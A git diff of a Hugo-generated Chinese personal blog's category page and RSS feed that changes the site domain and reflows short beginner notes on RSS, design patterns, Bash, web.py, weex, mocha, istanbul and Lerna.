+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解RSS</h2></header><div class=entry-content><p>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
 一个RSS例子：
-&lt;?xml version="1.0" encoding="UTF-8" ?>
-&lt;rss version="2.0">
-&lt;channel>
-&lt;title>小陈的辣鸡屋&lt;/title>
-&lt;link>https://xiaochenabc123.test.com/&lt;/link>
-&lt;description>xiaochenabc123.test.com&lt;/description>
-&lt;item>
-&lt;title>简单了解设计模式&lt;/title>
-&lt;link>https://xiaochenabc123.test.com/archives/121.html&lt;/link>
-&lt;description>&lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]>&lt;/description>
-&lt;content:encoded xml:lang="zh-CN">xxxxxxx&lt;/content:encoded>
-&lt;/item>
-&lt;/channel>
-&lt;/rss>
-可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
+&lt;?xml version="1.0" encoding="UTF-8" ?> &lt;rss version="2.0"> &lt;channel> &lt;title>小陈的辣鸡屋&lt;/title> &lt;link>https://xiaochenabc123.test.com/&lt;/link> &lt;description>xiaochenabc123.test.com&lt;/description> &lt;item> &lt;title>简单了解设计模式&lt;/title> &lt;link>https://xiaochenabc123.test.com/archives/121.html&lt;/link> &lt;description>&lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]>&lt;/description> &lt;content:encoded xml:lang="zh-CN">xxxxxxx&lt;/content:encoded> &lt;/item> &lt;/channel> &lt;/rss> 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
 RSS注释和HTML的注释一样，
 注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号
 channel元素除了上面那几个外，还有，， ，等等
 元素还有，，，等等
-RSS阅读器可以更好读取RSSfeed</p></div><footer class=entry-footer><span title='2021-12-06 02:32:00 +0000 UTC'>2021-12-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RSS" href=https://xiaochenabc123.github.io/posts/122/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解设计模式</h2></header><div class=entry-content><p>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
+RSS阅读器可以更好读取RSSfeed</p></div><footer class=entry-footer><span title='2021-12-06 02:32:00 +0000 UTC'>2021-12-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RSS" href=https://chenjunlinabc.github.io/posts/122/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解设计模式</h2></header><div class=entry-content><p>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
 面向过程：逻辑化过程，以逻辑实现
 面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化
 设计模式的好处就是通用可复用，跨语言
@@ -34,11 +20,9 @@
 创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式
 创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象
 结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式
-行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式</p></div><footer class=entry-footer><span title='2021-11-30 15:08:00 +0000 UTC'>2021-11-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解设计模式" href=https://xiaochenabc123.github.io/posts/121/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>shell脚本学习笔记</h2></header><div class=entry-content><p>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
+行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式</p></div><footer class=entry-footer><span title='2021-11-30 15:08:00 +0000 UTC'>2021-11-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解设计模式" href=https://chenjunlinabc.github.io/posts/121/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>shell脚本学习笔记</h2></header><div class=entry-content><p>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
 例如：
-#!/bin/bash
-echo "hallo word"
-执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
+#!/bin/bash echo "hallo word" 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
 bash hallo.sh
 也可以直接执行
 ./hallo.sh
@@ -63,28 +47,13 @@
 获取当前脚本shell进程的ID：$$
 获取后台运行的最后一个进程的ID：$!
 配合函数使用（参数也可以通过函数来传递）
-function abc(){
-echo "参数1: $1"
-echo "被执行的脚本为: $0"
-}
-abc hallo
-....</p></div><footer class=entry-footer><span title='2021-11-23 00:01:00 +0000 UTC'>2021-11-23</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to shell脚本学习笔记" href=https://xiaochenabc123.github.io/posts/120/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Web.py学习笔记</h2></header><div class=entry-content><p>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
+function abc(){ echo "参数1: $1" echo "被执行的脚本为: $0" } abc hallo ....</p></div><footer class=entry-footer><span title='2021-11-23 00:01:00 +0000 UTC'>2021-11-23</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to shell脚本学习笔记" href=https://chenjunlinabc.github.io/posts/120/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Web.py学习笔记</h2></header><div class=entry-content><p>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
 安装web.py
 pip install web.py
 导入模块
 import web
 第一个例子
-import web
-urls = (
-"/(.*)","hallo"
-)
-app = web.application(urls,globals())
-class hallo:
-def GET(self,name):
-return "&lt;h1>hallo web.py&lt;/h1>"
-if __name__=="__main__":
-app.run()
-可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</p></div><footer class=entry-footer><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Web.py学习笔记" href=https://xiaochenabc123.github.io/posts/117/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>weex跨平台框架学习笔记</h2></header><div class=entry-content><p>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
+import web urls = ( "/(.*)","hallo" ) app = web.application(urls,globals()) class hallo: def GET(self,name): return "&lt;h1>hallo web.py&lt;/h1>" if __name__=="__main__": app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</p></div><footer class=entry-footer><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Web.py学习笔记" href=https://chenjunlinabc.github.io/posts/117/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>weex跨平台框架学习笔记</h2></header><div class=entry-content><p>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
 支持ES6，跨平台，体积小，性能优异，编写规范
 官网：http://emas.weex.io/zh/
 weex调试工具：weexplayground（可以用来测试，要同局域网下）
@@ -106,7 +75,7 @@
 weex compile 目录或者文件 打包文件存放的目录或者文件 -m
 注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750
 不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形
-运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理</p></div><footer class=entry-footer><span title='2021-10-10 14:00:00 +0000 UTC'>2021-10-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to weex跨平台框架学习笔记" href=https://xiaochenabc123.github.io/posts/116/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理</p></div><footer class=entry-footer><span title='2021-10-10 14:00:00 +0000 UTC'>2021-10-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to weex跨平台框架学习笔记" href=https://chenjunlinabc.github.io/posts/116/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\351\273\230\350\256\244/index.xml" "b/categories/\351\273\230\350\256\244/index.xml"
index edf41051..0d88fe2a 100644
--- "a/categories/\351\273\230\350\256\244/index.xml"
+++ "b/categories/\351\273\230\350\256\244/index.xml"
@@ -2,25 +2,25 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>默认 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/</link>
+    <link>https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/</link>
     <description>Recent content in 默认 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Mon, 06 Dec 2021 02:32:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Mon, 06 Dec 2021 02:32:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单了解RSS</title>
-      <link>https://xiaochenabc123.github.io/posts/122/</link>
+      <link>https://chenjunlinabc.github.io/posts/122/</link>
       <pubDate>Mon, 06 Dec 2021 02:32:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/122/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/122/</guid>
       <description>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
 一个RSS例子：
-&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt;
&amp;lt;rss version=&amp;quot;2.0&amp;quot;&amp;gt;
&amp;lt;channel&amp;gt;
&amp;lt;title&amp;gt;小陈的辣鸡屋&amp;lt;/title&amp;gt;
&amp;lt;link&amp;gt;https://xiaochenabc123.test.com/&amp;lt;/link&amp;gt;
&amp;lt;description&amp;gt;xiaochenabc123.test.com&amp;lt;/description&amp;gt;
&amp;lt;item&amp;gt;
&amp;lt;title&amp;gt;简单了解设计模式&amp;lt;/title&amp;gt;
&amp;lt;link&amp;gt;https://xiaochenabc123.test.com/archives/121.html&amp;lt;/link&amp;gt;
&amp;lt;description&amp;gt;&amp;lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]&amp;gt;&amp;lt;/description&amp;gt;
&amp;lt;content:encoded xml:lang=&amp;quot;zh-CN&amp;quot;&amp;gt;xxxxxxx&amp;lt;/content:encoded&amp;gt;
&amp;lt;/item&amp;gt;
&amp;lt;/channel&amp;gt;
&amp;lt;/rss&amp;gt;
可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
+&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt; &amp;lt;rss version=&amp;quot;2.0&amp;quot;&amp;gt; &amp;lt;channel&amp;gt; &amp;lt;title&amp;gt;小陈的辣鸡屋&amp;lt;/title&amp;gt; &amp;lt;link&amp;gt;https://xiaochenabc123.test.com/&amp;lt;/link&amp;gt; &amp;lt;description&amp;gt;xiaochenabc123.test.com&amp;lt;/description&amp;gt; &amp;lt;item&amp;gt; &amp;lt;title&amp;gt;简单了解设计模式&amp;lt;/title&amp;gt; &amp;lt;link&amp;gt;https://xiaochenabc123.test.com/archives/121.html&amp;lt;/link&amp;gt; &amp;lt;description&amp;gt;&amp;lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]&amp;gt;&amp;lt;/description&amp;gt; &amp;lt;content:encoded xml:lang=&amp;quot;zh-CN&amp;quot;&amp;gt;xxxxxxx&amp;lt;/content:encoded&amp;gt; &amp;lt;/item&amp;gt; &amp;lt;/channel&amp;gt; &amp;lt;/rss&amp;gt; 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
 RSS注释和HTML的注释一样，
 注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号
 channel元素除了上面那几个外，还有，， ，等等
@@ -30,10 +30,10 @@ RSS阅读器可以更好读取RSSfeed</description>
     
     <item>
       <title>简单了解设计模式</title>
-      <link>https://xiaochenabc123.github.io/posts/121/</link>
+      <link>https://chenjunlinabc.github.io/posts/121/</link>
       <pubDate>Tue, 30 Nov 2021 15:08:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/121/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/121/</guid>
       <description>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
 面向过程：逻辑化过程，以逻辑实现
 面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化
@@ -54,13 +54,13 @@ RSS阅读器可以更好读取RSSfeed</description>
     
     <item>
       <title>shell脚本学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/120/</link>
+      <link>https://chenjunlinabc.github.io/posts/120/</link>
       <pubDate>Tue, 23 Nov 2021 00:01:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/120/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/120/</guid>
       <description>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
 例如：
-#!/bin/bash
echo &amp;quot;hallo word&amp;quot;
执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
+#!/bin/bash echo &amp;quot;hallo word&amp;quot; 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
 bash hallo.sh
 也可以直接执行
 ./hallo.sh
@@ -85,30 +85,30 @@ echo &amp;ldquo;hallo word&amp;rdquo;; echo &amp;ldquo;要执行的shell脚本
 获取当前脚本shell进程的ID：$$
 获取后台运行的最后一个进程的ID：$!
 配合函数使用（参数也可以通过函数来传递）
-function abc(){
echo &amp;quot;参数1: $1&amp;quot;
echo &amp;quot;被执行的脚本为: $0&amp;quot;
}
abc hallo
.</description>
+function abc(){ echo &amp;quot;参数1: $1&amp;quot; echo &amp;quot;被执行的脚本为: $0&amp;quot; } abc hallo .</description>
     </item>
     
     <item>
       <title>Web.py学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/117/</link>
+      <link>https://chenjunlinabc.github.io/posts/117/</link>
       <pubDate>Mon, 18 Oct 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/117/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/117/</guid>
       <description>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
 安装web.py
 pip install web.py
 导入模块
 import web
 第一个例子
-import web
urls = (
&amp;quot;/(.*)&amp;quot;,&amp;quot;hallo&amp;quot;
)
app = web.application(urls,globals())
class hallo:
def GET(self,name):
return &amp;quot;&amp;lt;h1&amp;gt;hallo web.py&amp;lt;/h1&amp;gt;&amp;quot;
if __name__==&amp;quot;__main__&amp;quot;:
app.run()
可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</description>
+import web urls = ( &amp;quot;/(.*)&amp;quot;,&amp;quot;hallo&amp;quot; ) app = web.application(urls,globals()) class hallo: def GET(self,name): return &amp;quot;&amp;lt;h1&amp;gt;hallo web.py&amp;lt;/h1&amp;gt;&amp;quot; if __name__==&amp;quot;__main__&amp;quot;: app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</description>
     </item>
     
     <item>
       <title>weex跨平台框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/116/</link>
+      <link>https://chenjunlinabc.github.io/posts/116/</link>
       <pubDate>Sun, 10 Oct 2021 14:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/116/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/116/</guid>
       <description>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
 支持ES6，跨平台，体积小，性能优异，编写规范
 官网：http://emas.weex.io/zh/
@@ -136,17 +136,17 @@ weex compile 目录或者文件 打包文件存放的目录或者文件 -m
     
     <item>
       <title>简单使用mocha测试框架</title>
-      <link>https://xiaochenabc123.github.io/posts/114/</link>
+      <link>https://chenjunlinabc.github.io/posts/114/</link>
       <pubDate>Sun, 03 Oct 2021 12:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/114/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/114/</guid>
       <description>mocha是JavaScript测试框架
 安装
 npm install &amp;ndash;global mocha
 测试，例如：
 demo.js
-function abc(a,b,c){
return a+b+c
}
module.exports = abc
demo.test.js
-const demo = require(&#39;./demo.js&#39;)
const expect = require(&#39;chai&#39;).expect
describe(&#39;test&#39;, function() {
it(&#39;错误&#39;, function() {
expect(demo(1,3,7)).to.be.equal(11)
})
})
测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
+function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js
+const demo = require(&#39;./demo.js&#39;) const expect = require(&#39;chai&#39;).expect describe(&#39;test&#39;, function() { it(&#39;错误&#39;, function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
 mocha demo.test.js
 其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误
 因为mocha本身没有断言库，需要导入 const expect = require(&amp;lsquo;chai&amp;rsquo;).expect
@@ -168,10 +168,10 @@ npm install babel-core babel-preset-es2015 &amp;ndash;save-dev
     
     <item>
       <title>简单使用istanbul代码覆盖率工具</title>
-      <link>https://xiaochenabc123.github.io/posts/113/</link>
+      <link>https://chenjunlinabc.github.io/posts/113/</link>
       <pubDate>Thu, 30 Sep 2021 12:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/113/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/113/</guid>
       <description>代码覆盖率：是否所有代码都被执行或者调用
 每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用
 istanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）
@@ -187,10 +187,10 @@ istanbul check-coverage &amp;ndash;statement 60 &amp;ndash;branch -5 &amp;ndash;
     
     <item>
       <title>简单使用Lerna多包管理工具</title>
-      <link>https://xiaochenabc123.github.io/posts/112/</link>
+      <link>https://chenjunlinabc.github.io/posts/112/</link>
       <pubDate>Sun, 26 Sep 2021 12:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/112/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/112/</guid>
       <description>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
 安装Lerna
 npm install &amp;ndash;global lerna
@@ -220,10 +220,10 @@ lerna有两个管理模式，分别是固定模式（默认模式）和独立模
     
     <item>
       <title>简单使用ESlint代码风格校验工具</title>
-      <link>https://xiaochenabc123.github.io/posts/111/</link>
